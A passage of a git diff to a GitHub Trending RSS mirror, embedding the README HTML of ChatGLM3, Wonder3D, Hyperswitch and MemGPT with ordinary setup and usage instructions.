class="language-shell">streamlit run web_demo2.py </code></pre> <p>网页版 demo 会运行一个 Web Server,并输出地址。在浏览器中打开输出的地址即可使用。 经测试,基于 Streamlit 的网页版 Demo 会更流畅。</p> <h3>命令行对话 Demo</h3> <p><img src="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/resources/cli-demo.png" alt="cli-demo"></p> <p>运行仓库中 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/cli_demo.py">cli_demo.py</a>:</p> <pre><code class="language-shell">python cli_demo.py </code></pre> <p>程序会在命令行中进行交互式的对话,在命令行中输入指示并回车即可生成回复,输入 <code>clear</code> 可以清空对话历史,输入 <code>stop</code> 终止程序。</p> <h3>API 部署</h3> <p>感谢 <a href="https://github.com/xusenlinzy">@xusenlinzy</a> 实现了 OpenAI 格式的流式 API 部署,可以作为任意基于 ChatGPT 的应用的后端,比如 <a href="https://github.com/Yidadaa/ChatGPT-Next-Web">ChatGPT-Next-Web</a>。可以通过运行仓库中的<a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/openai_api.py">openai_api.py</a> 进行部署:</p> <pre><code class="language-shell">python openai_api.py </code></pre> <p>进行 API 调用的示例代码为</p> <pre><code class="language-python">import openai if __name__ == "__main__": openai.api_base = "http://localhost:8000/v1" openai.api_key = "none" for chunk in openai.ChatCompletion.create( model="chatglm3-6b", messages=[ {"role": "user", "content": "你好"} ], stream=True ): if hasattr(chunk.choices[0].delta, "content"): print(chunk.choices[0].delta.content, end="", flush=True) </code></pre> <h3>工具调用</h3> <p>关于工具调用的方法请参考 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/tool_using/README.md">工具调用</a>。</p> <h2>低成本部署</h2> <p>请见 <a href="https://raw.githubusercontent.com/THUDM/ChatGLM3/main/DEPLOYMENT.md">DEPLOYMENT.md</a>。</p> <h2>引用</h2> <p>如果你觉得我们的工作有帮助的话,请考虑引用下列论文。</p> <pre><code>@article{zeng2022glm, title={Glm-130b: An open bilingual pre-trained model}, author={Zeng, Aohan and Liu, Xiao and Du, Zhengxiao and Wang, Zihan and Lai, Hanyu and Ding, Ming and Yang, Zhuoyi and Xu, Yifan and Zheng, Wendi and Xia, Xiao and others}, journal={arXiv preprint arXiv:2210.02414}, year={2022} } </code></pre> <pre><code>@inproceedings{du2022glm, title={GLM: General Language Model Pretraining with Autoregressive Blank Infilling}, author={Du, Zhengxiao and Qian, Yujie and Liu, Xiao and Ding, Ming and Qiu, Jiezhong and Yang, Zhilin and Tang, Jie}, booktitle={Proceedings of the 60th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers)}, pages={320--335}, year={2022} } </code></pre> - xxlong0/Wonder3D - 2023-10-29T01:26:22Z - tag:github.com,2023-10-29:/xxlong0/Wonder3D - - <p>A cross-domain diffusion model for 3D reconstruction from a single image</p><hr><h1>Wonder3D</h1> <p>Single Image to 3D using Cross-Domain Diffusion</p> <h2><a href="https://arxiv.org/abs/2310.15008">Paper</a> | <a href="https://www.xxlong.site/Wonder3D/">Project page</a> | <a href="https://huggingface.co/spaces/flamehaze1115/Wonder3D-demo">Hugging Face Demo</a> | <a href="https://github.com/camenduru/Wonder3D-colab">Colab from @camenduru</a></h2> <p><img src="https://raw.githubusercontent.com/xxlong0/Wonder3D/main/assets/fig_teaser.png" alt=""></p> <p>Wonder3D reconstructs highly-detailed textured meshes from a single-view image in only 2 ∼ 3 minutes. Wonder3D first generates consistent multi-view normal maps with corresponding color images via a cross-domain diffusion model, and then leverages a novel normal fusion method to achieve fast and high-quality reconstruction.</p> <h2>Schedule</h2> <ul> <li><input type="checkbox" checked disabled> Inference code and pretrained models.</li> <li><input type="checkbox" checked disabled> Huggingface demo.</li> <li><input type="checkbox" disabled> New model trained on the whole Objaverse dataset.</li> </ul> <h3>Preparation for inference</h3> <ol> <li>Install packages in <code>requirements.txt</code>.</li> </ol> <pre><code class="language-angular2html">conda create -n wonder3d conda activate wonder3d pip install -r requirements.txt </code></pre> <p>Install tiny-cuda-nn PyTorch extension for mesh extraction: <code>pip install git+https://github.com/NVlabs/tiny-cuda-nn/#subdirectory=bindings/torch</code></p> <ol start="2"> <li>Download the <a href="https://connecthkuhk-my.sharepoint.com/:f:/g/personal/xxlong_connect_hku_hk/EgSHPyJAtaJFpV_BjXM3zXwB-UMIrT4v-sQwGgw-coPtIA">checkpoints</a> and into the root folder.</li> </ol> <h3>Inference</h3> <ol> <li>Make sure you have the following models.</li> </ol> <pre><code class="language-bash">Wonder3D |-- ckpts |-- unet |-- scheduler.bin ... </code></pre> <ol start="2"> <li>Predict foreground mask as the alpha channel. We use <a href="https://clipdrop.co/remove-background">Clipdrop</a> to segment the foreground object interactively. You may also use <code>rembg</code> to remove the backgrounds.</li> </ol> <pre><code class="language-bash"># !pip install rembg import rembg result = rembg.remove(result) result.show() </code></pre> <ol start="3"> <li>Run Wonder3d to produce multiview-consistent normal maps and color images. Then you can check the results in the folder <code>./outputs</code>. (we use rembg to remove backgrounds of the results, but the segmemtations are not always perfect.)</li> </ol> <pre><code class="language-bash">accelerate launch --config_file 1gpu.yaml test_mvdiffusion_seq.py \ --config mvdiffusion-joint-ortho-6views.yaml </code></pre> <p>or</p> <pre><code class="language-bash">bash run_test.sh </code></pre> <ol start="4"> <li>Mesh Extraction</li> </ol> <pre><code class="language-bash">cd ./instant-nsr-pl bash run.sh output_folder_path scene_name </code></pre> <p>Our generated normals and color images are defined in orthographic views, so the reconstructed mesh is also in orthographic camera space. If you use MeshLab to view the meshes, you can click <code>Toggle Orthographic Camera</code> in <code>View</code> tab.</p> <h2>Citation</h2> <p>If you find this repository useful in your project, please cite the following work. :)</p> <pre><code>@misc{long2023wonder3d, title={Wonder3D: Single Image to 3D using Cross-Domain Diffusion}, author={Xiaoxiao Long and Yuan-Chen Guo and Cheng Lin and Yuan Liu and Zhiyang Dou and Lingjie Liu and Yuexin Ma and Song-Hai Zhang and Marc Habermann and Christian Theobalt and Wenping Wang}, year={2023}, eprint={2310.15008}, archivePrefix={arXiv}, primaryClass={cs.CV} } </code></pre> + juspay/hyperswitch + 2023-10-30T01:23:42Z + tag:github.com,2023-10-30:/juspay/hyperswitch + + <p>An open source payments switch written in Rust to make payments fast, reliable and affordable</p><hr><p align="center"> <img src="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/imgs/hyperswitch-logo-dark.svg#gh-dark-mode-only" alt="Hyperswitch-Logo" width="40%"> <img src="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/imgs/hyperswitch-logo-light.svg#gh-light-mode-only" alt="Hyperswitch-Logo" width="40%"> </p> <h1 align="center">The open-source payments switch</h1> <div align="center"> The single API to access payment ecosystems across 130+ countries </div> <p align="center"> <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#%EF%B8%8F-quick-start-guide">Quick Start Guide</a> • <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#-fast-integration-for-stripe-users">Fast Integration for Stripe Users</a> • <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#-supported-features">Supported Features</a> • <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#-FAQs">FAQs</a> <br> <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#whats-included">What's Included</a> • <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#-join-us-in-building-hyperswitch">Join us in building HyperSwitch</a> • <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#-community">Community</a> • <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#-bugs-and-feature-requests">Bugs and feature requests</a> • <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#-versioning">Versioning</a> • <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#%EF%B8%8F-copyright-and-license">Copyright and License</a> </p> <p align="center"> <a href="https://github.com/juspay/hyperswitch/actions?query=workflow%3ACI+branch%3Amain"> <img src="https://github.com/juspay/hyperswitch/workflows/CI/badge.svg?sanitize=true"> </a> <a href="https://github.com/juspay/hyperswitch/raw/main/LICENSE"> <img src="https://img.shields.io/github/license/juspay/hyperswitch"> </a> <a href="https://github.com/juspay/hyperswitch/raw/main/LICENSE"> <img src="https://img.shields.io/badge/Made_in-Rust-orange"> </a> </p> <h1 align="center">🎉 Hacktoberfest is here! 🎉</h1> <p>New to Rust? Hyperswitch is the perfect place to start this hacktoberfest! 😁</p> <blockquote> <p>⭐️ If you're new to Hacktoberfest, you can learn more and register to participate <a href="https://hacktoberfest.com/participation/">here</a>. Registration is from <strong>September 26th - October 31st</strong>.</p> </blockquote> <hr> <img src="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/imgs/switch.png"> <p>Hyperswitch is an open source payments switch to make payments fast, reliable, and, affordable. It lets you connect with multiple payment processors and route traffic effortlessly, all with a single API integration.</p> <p>Using Hyperswitch, you can:</p> <ul> <li>⬇️ <strong>Reduce dependency</strong> on a single processor like Stripe or Braintree</li> <li>🧑‍💻 <strong>Reduce Dev effort</strong> by 90% to add &amp; maintain integrations</li> <li>🚀 <strong>Improve success rates</strong> with seamless failover and auto-retries</li> <li>💸 <strong>Reduce processing fees</strong> with smart routing</li> <li>🎨 <strong>Customize payment flows</strong> with full visibility and control</li> <li>🌐 <strong>Increase business reach</strong> with local/alternate payment methods</li> </ul> <blockquote> <p>Hyperswitch is <strong>wire-compatible</strong> with top processors like Stripe, making it easy to integrate.</p> </blockquote> <br> <img src="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/imgs/hyperswitch-product.png" alt="Hyperswitch-Product" width="50%"> <a href="#Quick Start Guide"> <h2 id="Quick Start Guide">⚡️ Quick Start Guide</h2> </a> <p><a href="https://app.hyperswitch.io/register"><img src="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/imgs/signup-to-hs.svg?sanitize=true" height="35"></a></p> <p>Ways to get started with Hyperswitch:</p> <ol> <li>Try it in our Sandbox Environment: Fast and easy to start. No code or setup is required in your system, <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/try_sandbox.md">learn more</a></li> </ol> <p><a href="https://app.hyperswitch.io/register"><img src="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/imgs/get-api-keys.svg?sanitize=true" height="35"></a></p> <ol start="2"> <li> <p>A simple demo of integrating Hyperswitch with your React App, Try our React <a href="https://github.com/aashu331998/hyperswitch-react-demo-app/archive/refs/heads/main.zip">Demo App</a>.</p> </li> <li> <p>Install in your local system: Configurations and setup required in your system. Suitable if you like to customise the core offering, <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/try_local_system.md">setup guide</a></p> </li> </ol> <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#Fast-Integration-for-Stripe-Users"> <h2 id="Fast Integration for Stripe Users">🔌 Fast Integration for Stripe Users</h2> </a> <p>If you are already using Stripe, integrating with Hyperswitch is fun, fast &amp; easy. Try the steps below to get a feel for how quick the setup is:</p> <ol> <li>Get API keys from our <a href="https://app.hyperswitch.io/register">dashboard</a>.</li> <li>Follow the instructions detailed on our <a href="https://hyperswitch.io/docs/migrateFromStripe">documentation page</a>.</li> </ol> <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#Supported-Features"> <h2 id="Supported Features">✅ Supported Features</h2> </a> <h3>🌟 Supported Payment Processors and Methods</h3> <p>As of Sept 2023, we support 50+ payment processors and multiple global payment methods. In addition, we are continuously integrating new processors based on their reach and community requests. Our target is to support 100+ processors by H2 2023. You can find the latest list of payment processors, supported methods, and features <a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vQWHLza9m5iO4Ol-tEBx22_Nnq8Mb3ISCWI53nrinIGLK8eHYmHGnvXFXUXEut8AFyGyI9DipsYaBLG/pubhtml?gid=0&amp;single=true">here</a>.</p> <h3>🌟 Hosted Version</h3> <p>In addition to all the features of the open-source product, our hosted version provides features and support to manage your payment infrastructure, compliance, analytics, and operations end-to-end:</p> <ul> <li> <p><strong>System Performance &amp; Reliability</strong></p> <ul> <li>Scalable to support 50000 tps</li> <li>System uptime of up to 99.99%</li> <li>Deployment with very low latency</li> <li>Hosting option with AWS or GCP</li> </ul> </li> <li> <p><strong>Value Added Services</strong></p> <ul> <li>Compliance Support, incl. PCI, GDPR, Card Vault etc</li> <li>Customise the integration or payment experience</li> <li>Control Center with elaborate analytics and reporting</li> <li>Integration with Risk Management Solutions</li> <li>Integration with other platforms like Subscription, E-commerce, Accounting, etc.</li> </ul> </li> <li> <p><strong>Enterprise Support</strong></p> <ul> <li>24x7 Email / On-call Support</li> <li>Dedicated Relationship Manager</li> <li>Custom dashboards with deep analytics, alerts, and reporting</li> <li>Expert team to consult and improve business metrics</li> </ul> </li> </ul> <p>You can <a href="https://app.hyperswitch.io/register">try the hosted version in our sandbox</a>.</p> <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#FAQs"> <h2 id="FAQs">🤔 FAQs</h2> </a> <p>Got more questions? Please refer to our <a href="https://hyperswitch.io/docs/devSupport">FAQs page</a>.</p> <!-- ## Documentation Please refer to the following documentation pages: - Getting Started Guide [Link] - API Reference [Link] - Payments Fundamentals [Link] - Installation Support [Link] - Router Architecture [Link] --> <a href="#what's-Included❓"> <h2 id="what's-Included❓">What's Included❓</h2> </a> <p>Within the repositories, you'll find the following directories and files, logically grouping common assets and providing both compiled and minified variations.</p> <h3>Repositories</h3> <p>The current setup contains a single repo, which contains the core payment router and the various connector integrations under the <code>src/connector</code> sub-directory.</p> <!-- ### Sub-Crates --> <h3>🌳 Files Tree Layout</h3> <!-- FIXME: this table should either be generated by a script or smoke test should be introduced, checking it agrees with the actual structure --> <pre><code class="language-text">. ├── config : Initial startup config files for the router ├── connector-template : boilerplate code for connectors ├── crates : sub-crates │ ├── api_models : Request/response models for the `router` crate │ ├── cards : Types to handle card masking and validation │ ├── common_enums : Enums shared across the request/response types and database types │ ├── common_utils : Utilities shared across `router` and other crates │ ├── data_models : Represents the data/domain models used by the business/domain layer │ ├── diesel_models : Database models shared across `router` and other crates │ ├── drainer : Application that reads Redis streams and executes queries in database │ ├── external_services : Interactions with external systems like emails, KMS, etc. │ ├── masking : Personal Identifiable Information protection │ ├── redis_interface : A user-friendly interface to Redis │ ├── router : Main crate of the project │ ├── router_derive : Utility macros for the `router` crate │ ├── router_env : Environment of payment router: logger, basic config, its environment awareness │ ├── scheduler : Scheduling and executing deferred tasks like mail scheduling │ ├── storage_impl : Storage backend implementations for data structures &amp; objects │ └── test_utils : Utilities to run Postman and connector UI tests ├── docs : hand-written documentation ├── loadtest : performance benchmarking setup ├── migrations : diesel DB setup ├── monitoring : Grafana &amp; Loki monitoring related configuration files ├── openapi : automatically generated OpenAPI spec ├── postman : postman scenarios API └── scripts : automation, testing, and other utility scripts </code></pre> <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#Join-us-in-building-Hyperswitch"> <h2 id="Join-us-in-building-Hyperswitch">💪 Join us in building Hyperswitch</h2> </a> <h3>🤝 Our Belief</h3> <blockquote> <p>Payments should be open, fast, reliable and affordable to serve the billions of people at scale.</p> </blockquote> <p>Globally payment diversity has been growing at a rapid pace. There are hundreds of payment processors and new payment methods like BNPL, RTP etc. Businesses need to embrace this diversity to increase conversion, reduce cost and improve control. But integrating and maintaining multiple processors needs a lot of dev effort. Why should devs across companies repeat the same work? Why can't it be unified and reused? Hence, Hyperswitch was born to create that reusable core and let companies build and customise it as per their specific requirements.</p> <h3>✨ Our Values</h3> <ol> <li>Embrace Payments Diversity: It will drive innovation in the ecosystem in multiple ways.</li> <li>Make it Open Source: Increases trust; Improves the quality and reusability of software.</li> <li>Be community driven: It enables participatory design and development.</li> <li>Build it like Systems Software: This sets a high bar for Reliability, Security and Performance SLAs.</li> <li>Maximise Value Creation: For developers, customers &amp; partners.</li> </ol> <h3>🤍 Contributing</h3> <p>This project is being created and maintained by <a href="https://juspay.in">Juspay</a>, South Asia's largest payments orchestrator/switch, processing more than 50 Million transactions per day. The solution has 1Mn+ lines of Haskell code built over ten years. Hyperswitch leverages our experience in building large-scale, enterprise-grade &amp; frictionless payment solutions. It is built afresh for the global markets as an open-source product in Rust. We are long-term committed to building and making it useful for the community.</p> <p>The product roadmap is open for the community's feedback. We shall evolve a prioritisation process that is open and community-driven. We welcome contributions from the community. Please read through our <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/docs/CONTRIBUTING.md">contributing guidelines</a>. Included are directions for opening issues, coding standards, and notes on development.</p> <p>🦀 <strong>Important note for Rust developers</strong>: We aim for contributions from the community across a broad range of tracks. Hence, we have prioritised simplicity and code readability over purely idiomatic code. For example, some of the code in core functions (e.g., <code>payments_core</code>) is written to be more readable than pure-idiomatic.</p> <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#Community"> <h2 id="Community">👥 Community</h2> </a> <p>Get updates on Hyperswitch development and chat with the community:</p> <ul> <li>Read and subscribe to <a href="https://hyperswitch.io/blog">the official Hyperswitch blog</a>.</li> <li>Join our <a href="https://discord.gg/wJZ7DVW8mm">Discord server</a>.</li> <li>Join our <a href="https://join.slack.com/t/hyperswitch-io/shared_invite/zt-1k6cz4lee-SAJzhz6bjmpp4jZCDOtOIg">Slack workspace</a>.</li> <li>Ask and explore our <a href="https://github.com/juspay/hyperswitch/discussions">GitHub Discussions</a>.</li> </ul> <div style="display: flex; justify-content: center;"> <div style="margin-right:10px"> <a href="https://www.producthunt.com/posts/hyperswitch-2?utm_source=badge-top-post-badge&amp;utm_medium=badge&amp;utm_souce=badge-hyperswitch-2" target="_blank"> <img src="https://api.producthunt.com/widgets/embed-image/v1/top-post-badge.svg?post_id=375220&amp;theme=light&amp;period=weekly" alt="Hyperswitch - Fast, reliable, and affordable open source payments switch | Product Hunt" style="width: 250px; height: 54px;" width="250" height="54"> </a> </div> <div style="margin-right:10px"> <a href="https://www.producthunt.com/posts/hyperswitch-2?utm_source=badge-top-post-topic-badge&amp;utm_medium=badge&amp;utm_souce=badge-hyperswitch-2" target="_blank"> <img src="https://api.producthunt.com/widgets/embed-image/v1/top-post-topic-badge.svg?post_id=375220&amp;theme=light&amp;period=weekly&amp;topic_id=267" alt="Hyperswitch - Fast, reliable, and affordable open source payments switch | Product Hunt" style="width: 250px; height: 54px;" width="250" height="54"> </a> </div> <div style="margin-right:10px"> <a href="https://www.producthunt.com/posts/hyperswitch-2?utm_source=badge-top-post-topic-badge&amp;utm_medium=badge&amp;utm_souce=badge-hyperswitch-2" target="_blank"> <img src="https://api.producthunt.com/widgets/embed-image/v1/top-post-topic-badge.svg?post_id=375220&amp;theme=light&amp;period=weekly&amp;topic_id=93" alt="Hyperswitch - Fast, reliable, and affordable open source payments switch | Product Hunt" style="width: 250px; height: 54px;" width="250" height="54"> </a> </div> </div> <a href="#Bugs and feature requests"> <h2 id="Bugs and feature requests">🐞 Bugs and feature requests</h2> </a> <p>Please read the issue guidelines and search for <a href="https://github.com/juspay/hyperswitch/issues">existing and closed issues</a>. If your problem or idea is not addressed yet, please <a href="https://github.com/juspay/hyperswitch/issues/new/choose">open a new issue</a>.</p> <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/#Versioning"> <h2 id="Versioning">🔖 Versioning</h2> </a> <p>Check the <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/CHANGELOG.md">CHANGELOG.md</a> file for details.</p> <a href="#©Copyright and License"> <h2 id="©Copyright and License">©️ Copyright and License</h2> </a> <p>This product is licensed under the <a href="https://raw.githubusercontent.com/juspay/hyperswitch/main/LICENSE">Apache 2.0 License</a>.</p> <a href="#Thanks to all contributors"> <h2 id="Thanks to all contributors">✨ Thanks to all contributors</h2> </a> <p>Thank you for your support in hyperswitch's growth. Keep up the great work! 🥂</p> <a href="https://github.com/juspay/hyperswitch/graphs/contributors"> <img src="https://contributors-img.web.app/image?repo=juspay/hyperswitch" alt="Contributors"> </a> \ No newline at end of file diff --git a/all/weekly/index.xml b/all/weekly/index.xml deleted file mode 100644 index 7ad889490e5..00000000000 --- a/all/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub All Languages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:17Z - Weekly Trending of All Languages in GitHub - - - cpacker/MemGPT - 2023-10-29T01:46:17Z - tag:github.com,2023-10-29:/cpacker/MemGPT - - <p>Teaching LLMs memory management for unbounded context 📚🦙</p><hr><p><a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/#user-content-memgpt"><img src="https://memgpt.ai/assets/img/memgpt_logo_circle.png" alt="MemGPT logo" width="75" align="right"></a></p> <h1><a href="https://memgpt.ai">MemGPT</a></h1> <div align="center"> <p><strong>Try out our MemGPT chatbot on <a href="https://discord.gg/9GEQrxmVyE">Discord</a>!</strong></p> <p><strong>⭐ NEW: You can now run MemGPT with <a href="https://github.com/cpacker/MemGPT/discussions/67">local LLMs</a> and <a href="https://github.com/cpacker/MemGPT/discussions/65">AutoGen</a>! ⭐ </strong></p> <p><a href="https://discord.gg/9GEQrxmVyE"><img src="https://img.shields.io/discord/1161736243340640419?label=Discord&amp;logo=discord&amp;logoColor=5865F2&amp;style=flat-square&amp;color=5865F2" alt="Discord"></a> <a href="https://arxiv.org/abs/2310.08560"><img src="https://img.shields.io/badge/arXiv-2310.08560-B31B1B?logo=arxiv&amp;style=flat-square" alt="arXiv 2310.08560"></a></p> </div> <details open> <summary><h2>🤖 Create perpetual chatbots with self-editing memory!</h2></summary> <div align="center"> <br> <img src="https://memgpt.ai/assets/img/demo.gif" alt="MemGPT demo video" width="800"> </div> </details> <details> <summary><h2>🗃️ Chat with your data - talk to your SQL database or your local files!</h2></summary> <strong>SQL Database</strong> <div align="center"> <img src="https://memgpt.ai/assets/img/sql_demo.gif" alt="MemGPT demo video for sql search" width="800"> </div> <strong>Local files</strong> <div align="center"> <img src="https://memgpt.ai/assets/img/preload_archival_demo.gif" alt="MemGPT demo video for sql search" width="800"> </div> </details> <details> <summary><h2>📄 You can also talk to docs - for example ask about <a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/memgpt/personas/examples/docqa">LlamaIndex</a>!</h2></summary> <div align="center"> <img src="https://memgpt.ai/assets/img/docqa_demo.gif" alt="MemGPT demo video for llamaindex api docs search" width="800"> </div> <details> <summary><b>ChatGPT (GPT-4) when asked the same question:</b></summary> <div align="center"> <img src="https://memgpt.ai/assets/img/llama_index_gpt4.png" alt="GPT-4 when asked about llamaindex api docs" width="800"> </div> (Question from https://github.com/run-llama/llama_index/issues/7756) </details> </details> <h2>Quick setup</h2> <p>Join <a href="https://discord.gg/9GEQrxmVyE">Discord</a> and message the MemGPT bot (in the <code>#memgpt</code> channel). Then run the following commands (messaged to "MemGPT Bot"):</p> <ul> <li><code>/profile</code> (to create your profile)</li> <li><code>/key</code> (to enter your OpenAI key)</li> <li><code>/create</code> (to create a MemGPT chatbot)</li> </ul> <p>Make sure your privacy settings on this server are open so that MemGPT Bot can DM you: <br> MemGPT → Privacy Settings → Direct Messages set to ON</p> <div align="center"> <img src="https://memgpt.ai/assets/img/discord/dm_settings.png" alt="set DMs settings on MemGPT server to be open in MemGPT so that MemGPT Bot can message you" width="400"> </div> <p>You can see the full list of available commands when you enter <code>/</code> into the message box.</p> <div align="center"> <img src="https://memgpt.ai/assets/img/discord/slash_commands.png" alt="MemGPT Bot slash commands" width="400"> </div> <h2>What is MemGPT?</h2> <p>Memory-GPT (or MemGPT in short) is a system that intelligently manages different memory tiers in LLMs in order to effectively provide extended context within the LLM's limited context window. For example, MemGPT knows when to push critical information to a vector database and when to retrieve it later in the chat, enabling perpetual conversations. Learn more about MemGPT in our <a href="https://arxiv.org/abs/2310.08560">paper</a>.</p> <h2>Running MemGPT locally</h2> <p>Install MemGPT:</p> <pre><code class="language-sh">pip install pymemgpt </code></pre> <p>To update the package, run</p> <pre><code class="language-sh">pip install pymemgpt -U </code></pre> <p>Add your OpenAI API key to your environment:</p> <pre><code class="language-sh"># on Linux/Mac export OPENAI_API_KEY=YOUR_API_KEY </code></pre> <pre><code class="language-sh"># on Windows set OPENAI_API_KEY=YOUR_API_KEY </code></pre> <pre><code class="language-sh"># on Windows (PowerShell) $Env:OPENAI_API_KEY = "YOUR_API_KEY" </code></pre> <p>To run MemGPT for as a conversation agent in CLI mode, simply run <code>memgpt</code>:</p> <pre><code class="language-sh">memgpt </code></pre> <details> <summary><strong>Debugging command not found</strong></summary> <p>If you get <code>command not found</code> (Linux/MacOS), or a <code>CommandNotFoundException</code> (Windows), the directory where pip installs scripts is not in your PATH. You can either add that directory to your path (<code>pip show pip | grep Scripts</code>) or instead just run:</p> <pre><code class="language-sh">python -m memgpt </code></pre> </details> <details> <summary><strong>Building from source</strong></summary> <p>Clone this repo: <code>git clone https://github.com/cpacker/MemGPT.git</code></p> <p>Using poetry:</p> <ol> <li>Install poetry: <code>pip install poetry</code></li> <li>Run <code>poetry install</code></li> <li>Run <code>poetry run memgpt</code></li> </ol> <p>Using pip:</p> <ol> <li>Run <code>pip install -e .</code></li> <li>Run <code>python3 main.py</code></li> </ol> </details> <p>If you're using Azure OpenAI, set these variables instead:</p> <pre><code class="language-sh"># see https://github.com/openai/openai-python#microsoft-azure-endpoints export AZURE_OPENAI_KEY = ... export AZURE_OPENAI_ENDPOINT = ... export AZURE_OPENAI_VERSION = ... # set the below if you are using deployment ids export AZURE_OPENAI_DEPLOYMENT = ... export AZURE_OPENAI_EMBEDDINGS_DEPLOYMENT = ... # then use the --use_azure_openai flag memgpt --use_azure_openai </code></pre> <p>To create a new starter user or starter persona (that MemGPT gets initialized with), create a new <code>.txt</code> file in <code>~/.memgpt/humans</code> or <code>~/.memgpt/personas</code>, then use the <code>--persona</code> or <code>--human</code> flag when running <code>main.py</code>. For example:</p> <pre><code class="language-sh"># assuming you created a new file ~/.memgpt/humans/me.txt memgpt # Select me.txt during configuration process </code></pre> <p>-- OR --</p> <pre><code class="language-sh"># assuming you created a new file ~/.memgpt/humans/me.txt memgpt --human me.txt </code></pre> <p>You can also specify any of the starter users in <a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/memgpt/humans/examples">/memgpt/humans/examples</a> or any of the starter personas in <a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/memgpt/personas/examples">/memgpt/personas/examples</a>.</p> <h3>GPT-3.5 support</h3> <p>You can run MemGPT with GPT-3.5 as the LLM instead of GPT-4:</p> <pre><code class="language-sh">memgpt # Select gpt-3.5 during configuration process </code></pre> <p>-- OR --</p> <pre><code class="language-sh">memgpt --model gpt-3.5-turbo </code></pre> <p><strong>Note that this is experimental gpt-3.5-turbo support. It's quite buggy compared to gpt-4, but it should be runnable.</strong></p> <p>Please report any bugs you encounter regarding MemGPT running on GPT-3.5 to <a href="https://github.com/cpacker/MemGPT/issues/59">https://github.com/cpacker/MemGPT/issues/59</a>.</p> <h3>Local LLM support</h3> <p>You can run MemGPT with local LLMs too. See <a href="https://raw.githubusercontent.com/cpacker/MemGPT/main/memgpt/local_llm">instructions here</a> and report any bugs/improvements here <a href="https://github.com/cpacker/MemGPT/discussions/67">https://github.com/cpacker/MemGPT/discussions/67</a>.</p> <h3><code>main.py</code> flags</h3> <pre><code class="language-text">--first allows you to send the first message in the chat (by default, MemGPT will send the first message) --debug enables debugging output </code></pre> <details> <summary>Configure via legacy flags</summary> <pre><code class="language-text">--model select which model to use ('gpt-4', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo') --persona load a specific persona file --human load a specific human file --archival_storage_faiss_path=&lt;ARCHIVAL_STORAGE_FAISS_PATH&gt; load in document database (backed by FAISS index) --archival_storage_files="&lt;ARCHIVAL_STORAGE_FILES_GLOB_PATTERN&gt;" pre-load files into archival memory --archival_storage_files_compute_embeddings="&lt;ARCHIVAL_STORAGE_FILES_GLOB_PATTERN&gt;" pre-load files into archival memory and also compute embeddings for embedding search --archival_storage_sqldb=&lt;SQLDB_PATH&gt; load in SQL database </code></pre> </details> <h3>Interactive CLI commands</h3> <p>These are the commands for the CLI, <strong>not the Discord bot</strong>! The Discord bot has separate commands you can see in Discord by typing <code>/</code>.</p> <p>While using MemGPT via the CLI (not Discord!) you can run various commands:</p> <pre><code class="language-text">// toggle multiline input mode /exit exit the CLI /save save a checkpoint of the current agent/conversation state /load load a saved checkpoint /dump view the current message log (see the contents of main context) /memory print the current contents of agent memory /pop undo the last message in the conversation /heartbeat send a heartbeat system message to the agent /memorywarning send a memory warning system message to the agent </code></pre> <h2>Example applications</h2> <details open> <summary><h3>Use MemGPT to talk to your Database!</h3></summary> <p>MemGPT's archival memory let's you load your database and talk to it! To motivate this use-case, we have included a toy example.</p> <p>Consider the <code>test.db</code> already included in the repository.</p> <table> <thead> <tr> <th>id</th> <th>name</th> <th>age</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Alice</td> <td>30</td> </tr> <tr> <td>2</td> <td>Bob</td> <td>25</td> </tr> <tr> <td>3</td> <td>Charlie</td> <td>35</td> </tr> </tbody> </table> <p>To talk to this database, run:</p> <pre><code class="language-sh">memgpt --archival_storage_sqldb=memgpt/personas/examples/sqldb/test.db </code></pre> <p>And then you can input the path to your database, and your query.</p> <pre><code class="language-python">Please enter the path to the database. test.db ... Enter your message: How old is Bob? ... 🤖 Bob is 25 years old. </code></pre> </details> <details> <summary><h3>Loading local files into archival memory</h3></summary> MemGPT enables you to chat with your data locally -- this example gives the workflow for loading documents into MemGPT's archival memory. <p>To run our example where you can search over the SEC 10-K filings of Uber, Lyft, and Airbnb,</p> <ol> <li> <p>Download the .txt files from <a href="https://huggingface.co/datasets/MemGPT/example-sec-filings/tree/main">Hugging Face</a> and place them in <code>memgpt/personas/examples/preload_archival</code>.</p> </li> <li> <p>In the root <code>MemGPT</code> directory, run</p> <pre><code class="language-bash">memgpt 